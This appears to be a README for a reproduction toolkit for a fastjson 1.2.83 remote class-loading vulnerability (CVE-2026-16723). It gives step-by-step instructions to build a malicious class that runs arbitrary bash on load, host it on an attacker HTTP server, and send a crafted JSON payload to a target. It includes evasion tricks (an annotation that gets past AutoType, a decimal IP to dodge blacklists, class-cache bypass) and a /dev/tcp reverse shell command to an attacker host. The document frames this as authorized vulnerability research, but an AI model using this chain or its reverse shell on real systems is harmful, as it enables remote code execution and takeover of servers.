
CVE-2026-16723 reproduction toolkit - fastjson 1.2.83 jar: remote class-loading payload generator (ASM-built POC.class with @JSONType + clinit exec)
Purpose: for CVE-2026-16723 vulnerability reproduction. This repository is the malicious class generator (payload builder) for the fastjson 1.2.83
jar:remote class loading chain — it uses ASM to generate, at runtime, a class annotated with@JSONTypewhose<clinit>executes arbitrary commands, and together with the CVE-2026-16723 target environment (Spring Boot + fastjson 1.2.83) completes the full reproduction from "sending the payload" to "command execution landing". For vulnerability verification and defensive research in authorized environments only.
GenProbe2.java is not the exploit itself, but the first step of generating the payload: it outputs POC.class, which you package into an extensionless jar file and place on an HTTP server, then have the target fastjson deserialize a class name pointing to that jar; the target JVM will then remotely download and load POC via the jar: protocol, triggering the static block.
The generated class has three deliberate design points, each corresponding to bypassing/avoiding a real obstacle:
| Generated artifact feature | Effect |
|---|---|
Class-level annotation @com.alibaba.fastjson.annotation.JSONType(orders = {"x"}) | Makes fastjson's annotation scanning phase classify the class as hasJsonType, bypassing the AutoType whitelist check (1.2.83 disables autoType by default; classes with @JSONType go through another allow branch) |
Runtime.getRuntime().exec(new String[]{"bash","-c",CMD}) inside static {} (<clinit>) | Executes upon class loading. Calling exec with the String[] form is equivalent to bash -c CMD, so any bash syntax in CMD — pipes, redirection, $(), reverse shells, etc. — works (not limited by exec(String) tokenization) |
Inner class name = jar:http://IP:PORT/<jarName>!/<entryName> (a URL containing : / !) | Each time jarName/entryName is changed (e.g. probe2/POC2), the inner class name becomes a brand-new string, bypassing the JVM's same-name class cache — the target service can be hit repeatedly with different commands without restarting |
ASM does not validate the legality of the class name passed to visit; ClassWriter.COMPUTE_FRAMES handles stack frame computation, and the exception table wraps the entire command execution block (catch (Exception) {}), ensuring that even if exec fails, the loading side does not throw an error that exposes it.
| Role | Placeholder | Description |
|---|---|---|
| Attacker machine | ATTACK_IP / decimal ATTACK_IP_DEC | Hosts the malicious jar, sends the payload |
| Target machine | TARGET:8080 | Spring Boot + fastjson 1.2.83 |
| Lab jar | fastjson-cve202616723-0.0.1-SNAPSHOT.jar | Must be the patched version (ParserConfig.getGlobalInstance().setDefaultClassLoader(...)) |
ATTACK_IP_DEC is the decimal integer form of the attacker machine's IP (192.168.1.1 → 3232235777); using decimal avoids IP literal blacklists.
Create cmd.txt in the generator's working directory; the first line is the command to execute (the generator runs it with bash -c, supporting |, >, $(), reverse shells). Start with a minimal verification:
touch /tmp/CUSTOM_RCE_$(whoami)
Lines starting with # are skipped; when there is no cmd.txt, the default is touch /tmp/PWNED_CVE-2026-16723.
# 用法: java GenProbe2 <IP十进制> <端口> <输出目录> [jar名] [类名]
java -cp ".;lib\asm-9.6.jar" GenProbe2 ATTACK_IP_DEC 8888 out probe POC
Produces out\POC.class, with internal class name = jar:http://ATTACK_IP:8888/probe!/POC, and the console will print "will execute command".
cd out
jar cvf ..\probe POC.class
Three hard requirements:
probe, not probe.jar;POC.class) must match the entryName used at generation time.python -m http.server 8888 # 根目录 = 存放 probe 的目录,保持运行
curl.exe -s -o NUL -w "%{http_code} %{size_download}\n" http://localhost:8888/probe # 本机
curl -s -o /dev/null -w "%{http_code} %{size_download}\n" http://ATTACK_IP:8888/probe # 靶机侧
Both sides must show 200 and the correct byte count before proceeding.
java -jar fastjson-cve202616723-0.0.1-SNAPSHOT.jar
# 看到 Tomcat started on port(s): 8080 后保持窗口不动
The biggest pitfall: PowerShell will eat the JSON double quotes. Directly using -d '{"@type":...}' will become {@type:...}, and the target machine will return illegal identifier : @pos 1, and it will never even reach the step of downloading the jar (you won't see a single request in the HTTP window).
The correct approach: save the payload to a file and use --data-binary "@file". payload.json:
{"@type":"jar:http:..ATTACK_IP_DEC:8888.probe!.POC","x":1}
Note the syntax here: dots replace slashes and .class — jar:http:..IP:PORT.jar名!.类名 is valid JSON, used to bypass blacklists; after fastjson restores it to the resource path jar:http://IP:PORT/probe!/POC.class, it downloads via ClassLoader.getResourceAsStream().
curl.exe -s -X POST http://TARGET:8080/api/products/search `
-H "Content-Type: application/json" `
--data-binary "@payload.json"
Returns parse ok = fastjson parsing succeeded (not equal to command execution success, see step 7).
ls -la /tmp/ | grep CUSTOM_RCE # 期望 /tmp/CUSTOM_RCE_<user>
The attack machine's HTTP window will also show GET /probe (usually 2 times: one annotation scan, one actual load). Blind commands can only be proven successful via "dropped file / callback / reverse shell".
The JVM loads a class with the same name only once, and <clinit> runs only once; subsequent requests for the same name hit the cache. Two approaches:
cmd.txt, regenerate with a new jar name + class name (e.g. p2/POC2), package, place, and change the payload to {"@type":"jar:http:..ATTACK_IP_DEC:8888.p2!.POC2","x":1};probe can be triggered again.When changing ports (8888↔8889), change all three places together: the port parameter for generating the class, the port in the payload, and the actual port of the HTTP service.
First line of cmd.txt:
bash -i >& /dev/tcp/ATTACK_IP/9999 0>&1
Attacker machine listens (Windows has no nc, use WSL nc -lvnp 9999), then regenerate, deploy, and send following steps 2–6 (recommended to change to a new class name).
GenProbe2);@type;Any inconsistency → class name mismatch, loading failure (manifesting as no request in the HTTP window, or 8888 being accessible but not triggered).